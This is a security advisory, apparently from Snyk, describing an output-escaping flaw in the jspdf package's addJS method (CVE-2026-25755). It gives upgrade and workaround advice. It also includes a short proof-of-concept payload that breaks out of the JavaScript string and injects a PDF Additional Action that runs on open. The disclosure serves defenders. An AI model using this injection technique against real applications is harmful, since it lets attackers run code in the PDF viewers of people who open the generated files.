Improper Encoding or Escaping of Output Affecting jspdf package, versions <4.2.0


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.04% (11th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Improper Encoding or Escaping of Output vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-JSPDF-15322679
  • published20 Feb 2026
  • disclosed19 Feb 2026
  • creditZeroXJacks

Introduced: 19 Feb 2026

NewCVE-2026-25755  (opens in a new tab)
CWE-116  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

Upgrade jspdf to version 4.2.0 or higher.

Overview

jspdf is a PDF Document creation from JavaScript

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output via the addJS method. An attacker can inject arbitrary PDF objects and execute malicious actions or alter the document structure by supplying specially crafted input that escapes the JavaScript string delimiter. This can impact any user who opens the generated PDF.

Workaround

This vulnerability can be mitigated by escaping parentheses in user-provided JavaScript code before passing them to the addJS method.

PoC

import { jsPDF } from "jspdf";
const doc = new jsPDF();
// Payload:
// 1. ) closes the JS string.
// 2. > closes the current dictionary.
// 3. /AA ... injects an "Additional Action" that executes on focus/open.
const maliciousPayload = "console.log('test');) >> /AA << /O << /S /JavaScript /JS (app.alert('Hacked!')) >> >>";

doc.addJS(maliciousPayload);
doc.save("vulnerable.pdf");

CVSS Base Scores

version 4.0
version 3.1